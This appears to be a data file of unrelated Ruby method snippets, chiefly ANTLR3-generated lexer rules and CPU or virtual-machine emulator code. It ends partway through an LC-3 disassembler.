8:9: 'false'\n match( \"false\" )\n\n\n\n @state.type = type\n @state.channel = channel\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 2 )\n\n\n end", "def letter!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 72 )\n\n\n # - - - - label initialization - - - -\n\n\n # - - - - main rule block - - - -\n # at line \n if @input.peek(1) == 0x24 || @input.peek( 1 ).between?( 0x41, 0x5a ) || @input.peek(1) == 0x5f || @input.peek( 1 ).between?( 0x61, 0x7a ) || @input.peek( 1 ).between?( 0xc0, 0xd6 ) || @input.peek( 1 ).between?( 0xd8, 0xf6 ) || @input.peek( 1 ).between?( 0xf8, 0x1fff ) || @input.peek( 1 ).between?( 0x3040, 0x318f ) || @input.peek( 1 ).between?( 0x3300, 0x337f ) || @input.peek( 1 ).between?( 0x3400, 0x3d2d ) || @input.peek( 1 ).between?( 0x4e00, 0x9fff ) || @input.peek( 1 ).between?( 0xf900, 0xfaff )\n @input.consume\n else\n mse = MismatchedSet( nil )\n recover mse\n raise mse\n\n end\n\n\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 72 )\n\n\n end", "def jr_r8\n jump = signed_value $mmu.read_byte(@pc)\n result = @pc + 1 + jump\n @pc = result & 0xFFFF\n end", "def and_d8\n end", "def k_asignacion!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 32 )\n\n\n\n type = K_ASIGNACION\n channel = ANTLR3::DEFAULT_CHANNEL\n # - - - - label initialization - - - -\n\n\n # - - - - main rule block - - - -\n # at line 381:3: ( 'add' | 'div' | 'mul' | 'sub' | 'pot' | 'sqrt' | 'copy' | 'del' | 'porcent' )\n # at line 381:3: ( 'add' | 'div' | 'mul' | 'sub' | 'pot' | 'sqrt' | 'copy' | 'del' | 'porcent' )\n alt_7 = 9\n case look_7 = @input.peek( 1 )\n when 0x61 then alt_7 = 1\n when 0x64 then look_7_2 = @input.peek( 2 )\n\n if ( look_7_2 == 0x69 )\n alt_7 = 2\n elsif ( look_7_2 == 0x65 )\n alt_7 = 8\n else\n raise NoViableAlternative( \"\", 7, 2 )\n\n end\n when 0x6d then alt_7 = 3\n when 0x73 then look_7_4 = @input.peek( 2 )\n\n if ( look_7_4 == 0x75 )\n alt_7 = 4\n elsif ( look_7_4 == 0x71 )\n alt_7 = 6\n else\n raise NoViableAlternative( \"\", 7, 4 )\n\n end\n when 0x70 then look_7_5 = @input.peek( 2 )\n\n if ( look_7_5 == 0x6f )\n look_7_11 = @input.peek( 3 )\n\n if ( look_7_11 == 0x74 )\n alt_7 = 5\n elsif ( look_7_11 == 0x72 )\n alt_7 = 9\n else\n raise NoViableAlternative( \"\", 7, 11 )\n\n end\n else\n raise NoViableAlternative( \"\", 7, 5 )\n\n end\n when 0x63 then alt_7 = 7\n else\n raise NoViableAlternative( \"\", 7, 0 )\n\n end\n case alt_7\n when 1\n # at line 381:4: 'add'\n match( \"add\" )\n\n\n when 2\n # at line 381:10: 'div'\n match( \"div\" )\n\n\n when 3\n # at line 381:16: 'mul'\n match( \"mul\" )\n\n\n when 4\n # at line 381:22: 'sub'\n match( \"sub\" )\n\n\n when 5\n # at line 381:28: 'pot'\n match( \"pot\" )\n\n\n when 6\n # at line 381:34: 'sqrt'\n match( \"sqrt\" )\n\n\n when 7\n # at line 381:41: 'copy'\n match( \"copy\" )\n\n\n when 8\n # at line 381:48: 'del'\n match( \"del\" )\n\n\n when 9\n # at line 381:54: 'porcent'\n match( \"porcent\" )\n\n\n end\n\n\n @state.type = type\n @state.channel = channel\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 32 )\n\n\n end", "def escape_sequence!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 74 )\n\n\n # - - - - label initialization - - - -\n\n\n # - - - - main rule block - - - -\n # at line 587:7: ( '\\\\\\\\' ( 'b' | 't' | 'n' | 'f' | 'r' | '\\\\\\\"' | '\\\\'' | '\\\\\\\\' ) | UnicodeEscape | OctalEscape )\n alt_23 = 3\n look_23_0 = @input.peek( 1 )\n\n if ( look_23_0 == 0x5c )\n case look_23 = @input.peek( 2 )\n when 0x22, 0x27, 0x5c, 0x62, 0x66, 0x6e, 0x72, 0x74 then alt_23 = 1\n when 0x75 then alt_23 = 2\n when 0x30, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37 then alt_23 = 3\n else\n raise NoViableAlternative( \"\", 23, 1 )\n\n end\n else\n raise NoViableAlternative( \"\", 23, 0 )\n\n end\n case alt_23\n when 1\n # at line 587:11: '\\\\\\\\' ( 'b' | 't' | 'n' | 'f' | 'r' | '\\\\\\\"' | '\\\\'' | '\\\\\\\\' )\n match( 0x5c )\n if @input.peek(1) == 0x22 || @input.peek(1) == 0x27 || @input.peek(1) == 0x5c || @input.peek(1) == 0x62 || @input.peek(1) == 0x66 || @input.peek(1) == 0x6e || @input.peek(1) == 0x72 || @input.peek(1) == 0x74\n @input.consume\n else\n mse = MismatchedSet( nil )\n recover mse\n raise mse\n\n end\n\n\n\n when 2\n # at line 588:11: UnicodeEscape\n unicode_escape!\n\n\n when 3\n # at line 589:11: OctalEscape\n octal_escape!\n\n\n end\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 74 )\n\n\n end", "def t__48!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 37 )\n\n type = T__48\n channel = ANTLR3::DEFAULT_CHANNEL\n\n \n # - - - - main rule block - - - -\n # at line 53:9: 'A'\n match( 0x41 )\n\n \n @state.type = type\n @state.channel = channel\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 37 )\n\n end", "def succ!() end", "def jump_forward(power=1)\n jump(0, power) if @direction == 2 \n jump(- power, 0) if @direction == 4\n jump(power, 0) if @direction == 6 \n jump(0, - power) if @direction == 8 \n end", "def sol\n '341'\n end", "def and_mhl\n value = @mmu[hl]\n and_to_a value\n @clock += 2\n end", "def translate\n if @flag_read_next == true\n @array[@pos] = c.each_byte.first\n @flag_read_next = false\n return\n end\n\n case @input_array[@pointer_input]\n when \">\" then @pos += 1\n when \"<\" then @pos -= 1\n when \"+\" then @array[@pos] += 1\n when \"-\" then @array[@pos] -= 1\n when \".\" then @output << @array[@pos] != 10 ? @array[@pos].chr : (10.chr + 13.chr) # \\n conversion to \\n \\r\n when \",\" then @flag_read_next = true\n when \"[\" then @pointer_input = @hash_brackets[@pointer_input] if @array[@pos] == 0\n when \"]\" then @pointer_input = @hash_brackets.invert[@pointer_input] if @array[@pos] != 0\n end\n end", "def t__32!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 21 )\n\n type = T__32\n channel = ANTLR3::DEFAULT_CHANNEL\n\n \n # - - - - main rule block - - - -\n # at line 37:9: 'Y'\n match( 0x59 )\n\n \n @state.type = type\n @state.channel = channel\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 21 )\n\n end", "def execute_JMP(offset)\n\t\tjump_conditionally_to_signed_displacement(offset, true)\n\tend", "def t__48!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 19 )\n\n\n\n type = T__48\n channel = ANTLR3::DEFAULT_CHANNEL\n # - - - - label initialization - - - -\n\n\n # - - - - main rule block - - - -\n # at line 25:9: '<='\n match( \"<=\" )\n\n\n\n @state.type = type\n @state.channel = channel\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 19 )\n\n\n end", "def comp(_comp)\n a = '0'\n c1 = '0'\n c2 = '0'\n c3 = '0'\n c4 = '0'\n c5 = '0'\n c6 = '0'\n\n if (_comp.include?'M')\n a = '1'\n end\n\n if (_comp == '0')\n c1 = '1'\n c3 = '1'\n c5 = '1'\n elsif (_comp == '1')\n c1 = '1'\n c2 = '1'\n c3 = '1'\n c4 = '1'\n c5 = '1'\n c6 = '1'\n elsif (_comp == '-1')\n c1 = '1'\n c2 = '1'\n c3 = '1'\n c5 = '1'\n elsif (_comp == 'D')\n c3 = '1'\n c4 = '1'\n elsif (_comp == 'A' or _comp == 'M')\n c1 = '1'\n c2 = '1'\n elsif (_comp == '!D')\n c3 = '1'\n c4 = '1'\n c6 = '1'\n elsif (_comp == '!A' or _comp == '!M')\n c1 = '1'\n c2 = '1'\n c6 = '1'\n elsif (_comp == '-D')\n c3 = '1'\n c4 = '1'\n c5 = '1'\n c6 = '1'\n elsif (_comp == '-A' or _comp == '-M')\n c1 = '1'\n c2 = '1'\n c5 = '1'\n c6 = '1'\n elsif (_comp == 'D+1')\n c2 = '1'\n c3 = '1'\n c4 = '1'\n c5 = '1'\n c6 = '1'\n elsif (_comp == 'A+1' or _comp == 'M+1')\n c1 = '1'\n c2 = '1'\n c4 = '1'\n c5 = '1'\n c6 = '1'\n elsif (_comp == 'D-1')\n c3 = '1'\n c4 = '1'\n c5 = '1'\n elsif (_comp == 'A-1' or _comp == 'M-1')\n c1 = '1'\n c2 = '1'\n c5 = '1'\n elsif (_comp == 'D+A' or _comp == 'D+M')\n c5 = '1'\n elsif (_comp == 'D-A' or _comp == 'D-M')\n c2 = '1'\n c5 = '1'\n c6 = '1'\n elsif (_comp == 'A-D' or _comp == 'M-D')\n c4 = '1'\n c5 = '1'\n c6 = '1'\n elsif (_comp == 'D&A' or _comp == 'D&M')\n #Do nothing\n elsif (_comp == 'D|A' or _comp == 'D|M')\n c2 = '1'\n c4 = '1'\n c6 = '1'\n else\n raise 'invalid syntax'\n end\n return a + c1 + c2 + c3 + c4 + c5 + c6\n end", "def turn direction\n return unless placed?\n direction = case\n when direction.to_s.match(/^l(?:eft)?$/i); -1\n when direction.to_s.match(/^r(?:ight)?$/i); +1\n else; nil\n end\n # The modulus is to make sure we stay within the 0-4 array boundary\n @f = (@f + direction) % DIRECTIONS.size if direction\n report\n end", "def t__17!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 10 )\n\n type = T__17\n channel = ANTLR3::DEFAULT_CHANNEL\n\n \n # - - - - main rule block - - - -\n # at line 26:9: 'd'\n match( 0x64 )\n\n \n @state.type = type\n @state.channel = channel\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 10 )\n\n end", "def ampersand!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 12 )\n\n type = AMPERSAND\n channel = ANTLR3::DEFAULT_CHANNEL\n\n \n # - - - - main rule block - - - -\n # at line 144:4: '&'\n match( 0x26 )\n\n \n @state.type = type\n @state.channel = channel\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 12 )\n\n end", "def solve(a=nil, b=nil)\n program = @program.dup\n pointer = 0\n opcode = 0\n program[1] = a if a\n program[2] = b if b\n\n while (opcode != @STOP && pointer < program.length) do \n puts \"pointer: #{pointer}\" if @DEBUG\n opcode = program[pointer]\n a = 0\n b = 0\n c = 0\n\n # Check Immeidate Mode\n if(opcode.to_s.length > 2)\n opcode = opcode.to_s\n # need to parse that fancy code\n instruction = opcode[-2..-1].to_i\n puts \"instruction: #{instruction}\\nopcode: #{opcode}\" if @DEBUG\n \n if (opcode.length == 3)\n puts \"length: 3\" if @DEBUG\n c = opcode[0].to_i\n elsif (opcode.length == 4)\n puts \"length: 4\" if @DEBUG\n b = opcode[0].to_i\n c = opcode[1].to_i\n elsif (opcode.length == 5)\n puts \"length: 5\" if @DEBUG\n a = opcode[0].to_i\n b = opcode[1].to_i\n c = opcode[2].to_i\n end\n else\n puts \"opcode only: #{opcode}\" if @DEBUG\n instruction = opcode.to_i\n end\n\n if(instruction == @STOP)\n puts \"STOP\"\n break\n end\n\n puts \"a: #{a}\\nb: #{b}\\nc: #{c}\\n\" if @DEBUG\n \n if(instruction == @ADD || instruction == @MULTIPLY)\n position_a = program[pointer + 1].to_i\n position_a = program[position_a].to_i if c == 0\n\n position_b = program[pointer + 2].to_i\n position_b = program[position_b].to_i if b == 0\n\n position_c = program[pointer + 3].to_i #if a == 0\n #position_c = program[pointer + 3].to_i if a == 1\n \n if(instruction == @ADD)\n program[position_c] = position_a + position_b\n elsif(instruction == @MULTIPLY)\n program[position_c] = position_a * position_b\n end\n pointer += 4\n puts \"incrementing pointer by 4\" if @DEBUG\n end\n\n if(instruction == @READ)\n if (c == 0)\n puts \"\\nSTATUS: #{program[program[pointer + 1].to_i]}\\n\"\n else\n puts \"\\nSTATUS: #{program[pointer + 1]}\\n\"\n end\n pointer += 2\n puts \"incrementing pointer by 2\" if @DEBUG\n end\n\n if(instruction == @STORE)\n print \"input: \"\n number = gets.strip\n target = program[pointer + 1].to_i\n program[target] = number.to_i\n pointer += 2\n puts \"incrementing pointer by 2\" if @DEBUG\n end\n\n # only two params\n if(instruction == @JUMP_IF_TRUE)\n puts \"Jump if true\" if @DEBUG\n first = pointer + 1\n first = program[first].to_i if c == 0\n\n second = pointer + 2\n second = program[second].to_i if b == 0\n\n if @DEBUG\n puts \"first: #{first}\\nsecond: #{second}\"\n puts \"first_value: #{program[first]}\\nsecond_value: #{program[second]}\"\n end\n\n unless program[first].to_i == 0\n pointer = program[second].to_i\n puts \"assigning pointer to #{pointer}\" if @DEBUG\n else\n pointer += 3\n puts \"incrementing pointer by 3\" if @DEBUG\n end\n end\n\n # only two params\n if(instruction == @JUMP_IF_FALSE)\n puts \"Jump if false\" if @DEBUG\n\n first = pointer + 1\n first = program[first].to_i if c == 0\n\n second = pointer + 2\n second = program[second].to_i if b == 0\n \n if @DEBUG\n puts \"first: #{first}\\nsecond: #{second}\"\n puts \"first_value: #{program[first]}\\nsecond_value: #{program[second]}\"\n end\n\n if program[first].to_i == 0\n pointer = program[second].to_i\n puts \"assigning pointer to #{pointer}\" if @DEBUG\n else\n pointer += 3\n puts \"incrementing pointer by 3\" if @DEBUG\n end\n end\n\n # four parameters\n if(instruction == @LESS)\n puts \"Less\" if @DEBUG\n\n first = pointer + 1\n first = program[first].to_i if c == 0\n\n second = pointer + 2\n second = program[second].to_i if b == 0\n\n third = pointer + 3\n third = program[third].to_i if a == 0\n\n if(program[first].to_i < program[second].to_i)\n program[third] = 1\n else\n program[third] = 0\n end\n\n pointer += 4\n end\n\n if(instruction == @EQUALS)\n puts \"Equals\" if @DEBUG\n\n first = pointer + 1\n first = program[pointer + 1].to_i if c == 0\n\n second = pointer + 2\n second = program[second].to_i if b == 0\n\n third = pointer + 3\n third = program[third].to_i if a == 0\n\n puts \"first: #{program[first]}, second: #{program[second]}\" if @DEBUG\n\n if(program[first].to_i == program[second].to_i)\n puts \"Setting #{third} to 1\" if @DEBUG\n program[third] = 1\n else\n puts \"Setting #{third} to 0\" if @DEBUG\n program[third] = 0\n end\n\n pointer += 4\n end\n gets if @DEBUG\n end\n return program[0]\n end", "def t__39!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 10 )\n\n\n\n type = T__39\n channel = ANTLR3::DEFAULT_CHANNEL\n # - - - - label initialization - - - -\n\n\n # - - - - main rule block - - - -\n # at line 16:9: '+='\n match( \"+=\" )\n\n\n\n @state.type = type\n @state.channel = channel\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 10 )\n\n\n end", "def direction=(_arg0); end", "def comilla!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 16 )\n\n\n\n type = COMILLA\n channel = ANTLR3::DEFAULT_CHANNEL\n # - - - - label initialization - - - -\n\n\n # - - - - main rule block - - - -\n # at line 317:3: '\\\\''\n match( 0x27 )\n\n\n @state.type = type\n @state.channel = channel\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 16 )\n\n\n end", "def id!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 28 )\n\n\n\n type = ID\n channel = ANTLR3::DEFAULT_CHANNEL\n # - - - - label initialization - - - -\n\n\n # - - - - main rule block - - - -\n # at line 49:5: ( 'a' .. 'z' | 'A' .. 'Z' ) ( ( 'a' .. 'z' | 'A' .. 'Z' ) | '_' | ( '0' .. '9' ) )*\n if @input.peek( 1 ).between?( 0x41, 0x5a ) || @input.peek( 1 ).between?( 0x61, 0x7a )\n @input.consume\n else\n mse = MismatchedSet( nil )\n recover mse\n raise mse\n\n end\n\n\n # at line 49:33: ( ( 'a' .. 'z' | 'A' .. 'Z' ) | '_' | ( '0' .. '9' ) )*\n while true # decision 8\n alt_8 = 2\n look_8_0 = @input.peek( 1 )\n\n if ( look_8_0.between?( 0x30, 0x39 ) || look_8_0.between?( 0x41, 0x5a ) || look_8_0 == 0x5f || look_8_0.between?( 0x61, 0x7a ) )\n alt_8 = 1\n\n end\n case alt_8\n when 1\n # at line \n if @input.peek( 1 ).between?( 0x30, 0x39 ) || @input.peek( 1 ).between?( 0x41, 0x5a ) || @input.peek(1) == 0x5f || @input.peek( 1 ).between?( 0x61, 0x7a )\n @input.consume\n else\n mse = MismatchedSet( nil )\n recover mse\n raise mse\n\n end\n\n\n\n else\n break # out of loop for decision 8\n end\n end # loop for decision 8\n\n\n\n @state.type = type\n @state.channel = channel\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 28 )\n\n\n end", "def t__27!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 20 )\n\n type = T__27\n channel = ANTLR3::DEFAULT_CHANNEL\n\n \n # - - - - main rule block - - - -\n # at line 36:9: 'G'\n match( 0x47 )\n\n \n @state.type = type\n @state.channel = channel\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 20 )\n\n end", "def t__33!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 4 )\n\n\n\n type = T__33\n channel = ANTLR3::DEFAULT_CHANNEL\n # - - - - label initialization - - - -\n\n\n # - - - - main rule block - - - -\n # at line 10:9: '&&'\n match( \"&&\" )\n\n\n\n @state.type = type\n @state.channel = channel\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 4 )\n\n\n end", "def t__86!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in(__method__, 31)\n\n type = T__86\n channel = ANTLR3::DEFAULT_CHANNEL\n\n \n # - - - - main rule block - - - -\n # at line 37:9: '=>'\n match(\"=>\")\n\n \n @state.type = type\n @state.channel = channel\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out(__method__, 31)\n\n end", "def resolveJMP(command)\r\n splitString = command.split(' ')\r\n currSymbol = splitString[1]\r\n intVal = Integer(currSymbol)\r\n @PC = intVal\r\n puts \"Changing control to instruction at \" + @PC.to_s\r\n end", "def t__32!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 25 )\n\n type = T__32\n channel = ANTLR3::DEFAULT_CHANNEL\n\n \n # - - - - main rule block - - - -\n # at line 41:9: 'N'\n match( 0x4e )\n\n \n @state.type = type\n @state.channel = channel\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 25 )\n\n end", "def digit!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 46 )\n\n \n # - - - - main rule block - - - -\n # at line 392:10: '0' .. '9'\n match_range( 0x30, 0x39 )\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 46 )\n\n end", "def directionalInput\n temp = self.input_buffer[self.input_buffer.length-4,self.input_buffer.length-1]\n $game_variables[1] = temp\n return \"circle\" if (temp == \"DRUL\") || (temp == \"DLUR\") || (temp == \"RDLU\") || (temp == \"RULD\") || (temp == \"LDRU\") || (temp == \"LURD\") || (temp == \"URDL\") || (temp == \"ULDR\")\n temp = self.input_buffer[self.input_buffer.length-3,self.input_buffer.length-1]\n return \"half\" if (temp == \"DRU\") || (temp == \"DLU\") || (temp == \"RDL\") || (temp == \"RUL\") || (temp == \"LDR\") || (temp == \"LUR\") || (temp == \"URD\") || (temp == \"ULD\")\n temp = self.input_buffer[self.input_buffer.length-2,self.input_buffer.length-1]\n return \"back forward\" if (temp == \"LR\") || (temp == \"RL\") || (temp == \"UD\") || (temp == \"DU\")\n return \"neutral\"\n end", "def execute_JNA(operand) # Same as the JBE instruction\n\t\tis_above = @flags.value[ZERO_FLAG].zero? && @flags.value[CARRY_FLAG].zero?\n\t\tjump_conditionally_to_signed_displacement(operand, !is_above)\n\tend", "def t__38!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 9 )\n\n\n\n type = T__38\n channel = ANTLR3::DEFAULT_CHANNEL\n # - - - - label initialization - - - -\n\n\n # - - - - main rule block - - - -\n # at line 15:9: '+'\n match( 0x2b )\n\n\n @state.type = type\n @state.channel = channel\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 9 )\n\n\n end", "def disassemble memory \n #we're going to be parsing 16-bit instructions. these masks will allow us to\n #get meaningful data out of out of those 16 bits\n #to use: (instruction & mask) >> x, where x is the index of the\n #least-significant bit of of the mask\n #e.g (0x00011011000001100 & opcode mask) >> 12 = 0001\n\n #opcode mask\n opcode_mask = 0xF000\n\n #destination/base and source register masks\n reg1_mask = 0xE00 #the register found at bits 11 through 9\n reg2_mask = 0x1C0 #the register found at bit 8 through 6\n reg3_mask = 0x7 #the register found at bits 2 through 0\n\n #condition code masks\n br_cc_mask = 0xE00 #the whole kitten kaboodle, >> 9\n br_n_mask = 0x800 # >> 11\n br_z_mask = 0x400 # >> 10\n br_p_mask = 0x200 # >> 9\n\n #imm5 vs source register flag mask\n #if 0, using 2 registers. if 1, using a register and a imm5\n operand2_flag_mask = 0x20 # >> 5\n\n #jsr vs jsrr flag mask\n #if 0, jsrr. if 1, jsr\n jsr_flag_mask = 0x800 # >> 7\n\n #offset masks\n #offset masks are always the least significant x bits\n offset9_mask = 0x1FF\n offset11_mask = 0x7FF\n offset6_mask = 0x3f\n\n #imm5 mask\n #always lsb\n imm5_mask = 0x1F\n\n #trap vector mask\n #always lsb\n trap_vector_mask = 0xFF\n\n \n #opcodes\n add_code = 0x1\n and_code = 0x5\n br_code = 0x0\n jmp_code = 0xC\n jsr_code = 0x4\n ld_code = 0x2\n ldi_code = 0xA\n ldr_code = 0x6\n lea_code = 0xE\n not_code = 0x9\n rti_code = 0x8\n st_code = 0x3\n sti_code = 0xB\n str_code = 0x7\n #trap_code = 0xF\n halt_code = 0xF025 # we only have 1 trap (0xF---), and thats halt\n\n\n #opcode strings\n add_string = \"ADD\"\n and_string = \"AND\"\n br_string = \"BR\"\n jmp_string = \"JMP\"\n jsr_string = \"JSR\"\n jsrr_string = \"JSRR\"\n ld_string = \"LD\"\n ldi_string = \"LDI\"\n ldr_string = \"LDR\"\n lea_string = \"LEA\"\n not_string = \"NOT\"\n nop_string = \"NOP\"\n ret_string = \"RET\"\n rti_string = \"RTI\"\n st_string = \"ST\"\n sti_string = \"STI\"\n str_string = \"STR\"\n trap_string = \"TRAP\"\n\n #other strings\n n_string = \"N\"\n z_string = \"Z\"\n p_string = \"P\"\n comma_string = \",\"\n halt_string = \"HALT\"\n space_string = \" \"\n r_string = \"R\" #as in register, R1, R2, ...\n error_string = \"ERROR\"\n hash_string = \"#\"\n \n #sign extension addends\n #we can encounter 2's complement numbers that are negative in x number of\n #bits, but not y number.\n #\n #for example: (binary) 0000 0101\n #in 3-bit 2's comp, this number is -3\n #in 8-bit 2's comp, this number is 5\n #\n #since ruby and lc3 have no (primitive) understanding of numbers with smaller \n #bit lengths than the system default (32 and 16 respectively), we need to sign\n #extend these numbers so that the system also conveys bit these lengths.\n #\n #for negative 2's complement numbers, if we assume that the msb == the desired\n #bit length (ie, the number has been masked so that it contains no other data\n #beyond the desired bit length) then we can simply add an appropriate addend\n #constructed of all 1's in all places beyond the msb.\n #\n #extending our previous example: \n #-3 = 1111 1101 = 1111 1000 + 0000 0101\n #\n #the following are these addends for various desired bit lengths\n #\n #NOTE: this is a system-dependent implementation. on this dev machine, the\n #integers we get by default are 32 bits. on lc3, its 16, and it could be\n #anything else for other machines. proceed with caution.\n# bit5_extender = 0xFFFFFFE0\n# bit6_extender = 0xFFFFFFC0\n# bit9_extender = 0xFFFFFE00\n# bit11_extender = 0xFFFFF800\n\n \n #a more asm way of saying index counter\n instruction_ptr = 0x0\n\n while memory[instruction_ptr] - 0xFFFF != 0\n this_instruction = memory[instruction_ptr]\n \n this_opcode = (this_instruction & opcode_mask) >> 12\n\n #we'll force the opcode code to turn this on\n #if we get down to the bottom, and this hasn't been set, we've encountered\n #one of the no-no opcodes for this homework, such as RTI, (reserved \n #opcode),or traps other thanHALT. in that case, write ERROR\n valid_instruction = 0\n \n #ADD\n #example: ADD R0, R0, R5\n #example: ADD R0, R3, #17\n if this_opcode - add_code == 0\n print add_string\n print space_string\n\n print r_string\n reg = (this_instruction & reg1_mask) >> 9\n print reg\n print comma_string\n print space_string\n\n print r_string\n reg = (this_instruction & reg2_mask) >> 6\n print reg\n print comma_string\n print space_string\n \n #immediate more or source register 2 mode?\n flag = (this_instruction & operand2_flag_mask) >> 5\n if flag == 0\n print r_string\n reg = (this_instruction & reg3_mask)\n print reg\n end\n if flag == 1\n imm5 = (this_instruction & imm5_mask)\n print hash_string\n print imm5\n end\n\n valid_instruction = 1\n end\n \n #AND\n #example: AND R0, R0, R5\n #example: AND R0, R3, #17\n if this_opcode - and_code == 0\n print and_string\n print space_string\n \n print r_string\n reg = (this_instruction & reg1_mask) >> 9\n print reg\n print comma_string\n print space_string\n\n print r_string\n reg = (this_instruction & reg2_mask) >> 6\n print reg\n print comma_string\n print space_string\n \n flag = (this_instruction & operand2_flag_mask) >> 5\n if flag == 0\n print r_string\n reg = (this_instruction & reg3_mask)\n print reg\n end\n if flag == 1\n imm5 = (this_instruction & imm5_mask)\n print hash_string\n print imm5\n end\n\n valid_instruction = 1\n end\n \n #BR and NOP\n #example: BR NZP #4\n #example: NOP\n if this_opcode - br_code == 0\n cc = (this_instruction & br_cc_mask) >> 9\n if cc == 0\n print nop_string\n else\n print br_string\n \n #n set?\n n = (this_instruction & br_n_mask) >> 11\n if n > 0\n print n_string\n end\n \n #z set?\n z = (this_instruction & br_z_mask) >> 10\n if z > 0\n print z_string\n end\n \n #p set?\n p = (this_instruction & br_p_mask) >> 9\n if p > 0\n print p_string\n end\n \n print space_string\n offset = (this_instruction & offset9_mask)\n print hash_string\n print offset\n end\n\n valid_instruction = 1\n end\n\n #JMP and RET\n #example: JMP R5\n #example: RET\n if this_opcode - jmp_code == 0\n #ret and jmp share the same opcode\n reg = (this_instruction & reg2_mask) >> 6\n if reg - 7 == 0\n print ret_string\n else\n print jmp_string\n print space_string\n\n print r_string\n print reg\n end\n \n valid_instruction = 1\n end\n\n #JSR and JSRR\n #example: JSR #123\n #example: JSRR R3\n if this_opcode - jsr_code == 0\n #jsr and jsrr share the same opcode\n jsr_flag = (this_instruction & jsr_flag_mask) >> 11\n if jsr_flag > 0\n offset = (this_instruction & offset11_mask)\n print jsr_string\n print space_string\n\n print hash_string\n print offset\n else\n print jsrr_string\n print space_string\n\n print r_string\n reg = (this_instruction & reg2_mask) >> 6\n print reg\n end\n\n valid_instruction = 1\n end\n\n #LD\n #example: LD R3, #5\n if this_opcode - ld_code == 0\n print ld_string\n print space_string\n\n print r_string\n reg = (this_instruction & reg1_mask) >> 9\n print reg\n print comma_string\n print space_string\n\n offset = (this_instruction & offset9_mask)\n print hash_string\n print offset\n \n valid_instruction = 1\n end\n\n #LDI\n #example: LDI R2, #22\n if this_opcode - ldi_code == 0\n print ldi_string\n print space_string\n\n print r_string\n reg = (this_instruction & reg1_mask) >> 9\n print reg\n print comma_string\n print space_string\n\n offset = (this_instruction & offset9_mask)\n print hash_string\n print offset\n \n valid_instruction = 1\n end\n\n #LDR\n #example: LDR R0, R4, #5\n if this_opcode - ldr_code == 0\n print ldr_string\n print space_string\n\n print r_string\n reg = (this_instruction & reg1_mask) >> 9\n print reg\n print comma_string\n print space_string\n\n print r_string\n reg = (this_instruction & reg2_mask) >> 6\n print reg\n print comma_string\n print space_string\n\n offset = (this_instruction & offset6_mask)\n print hash_string\n print offset\n \n valid_instruction = 1\n end\n\n #LEA\n #example: LEA R3, #2\n if this_opcode - lea_code == 0\n print lea_string\n print space_string\n\n print r_string\n reg = (this_instruction & reg1_mask) >> 9\n print reg\n print comma_string\n print space_string\n\n offset = (this_instruction & offset9_mask)\n print hash_string\n print offset\n \n valid_instruction = 1\n end\n\n #NOT\n #example: NOT R0, R0\n if this_opcode - not_code == 0\n print not_string\n print space_string\n\n print r_string\n reg = (this_instruction & reg1_mask) >> 9\n print reg\n print comma_string\n print space_string\n\n print r_string\n reg = (this_instruction & reg2_mask) >> 6\n print reg\n \n valid_instruction = 1\n end\n\n #ST\n #example: ST R1, #46\n if this_opcode - st_code == 0\n print st_string\n print space_string\n\n print r_string\n reg = (this_instruction & reg1_mask) >> 9\n print reg\n print comma_string\n print space_string\n\n offset = (this_instruction & offset9_mask)\n print hash_string\n print offset\n\n valid_instruction = 1\n end\n\n #STI\n #example: STI R0, #128\n if this_opcode - sti_code == 0\n print sti_string\n print space_string\n\n print r_string\n reg = (this_instruction & reg1_mask) >> 9\n print reg\n print comma_string\n print space_string\n\n offset = (this_instruction & offset9_mask)\n print hash_string\n print offset\n\n valid_instruction = 1\n end\n\n #STR\n #example STR R0, R1, #3\n if this_opcode - str_code == 0\n print str_string\n print space_string\n\n print r_string\n reg = (this_instruction & reg1_mask) >> 9\n print reg\n print comma_string\n print space_string\n\n print r_string\n reg = (this_instruction & reg2_mask) >> 6\n print reg\n print comma_string\n print space_string\n\n offset = (this_instruction & offset6_mask)\n print hash_string\n print offset\n\n valid_instruction = 1\n\n end\n\n #HALT\n #example: HALT\n if this_instruction - halt_code == 0\n print halt_string\n\n valid_instruction = 1\n end\n\n #ERROR (for all not accepted instructions)\n 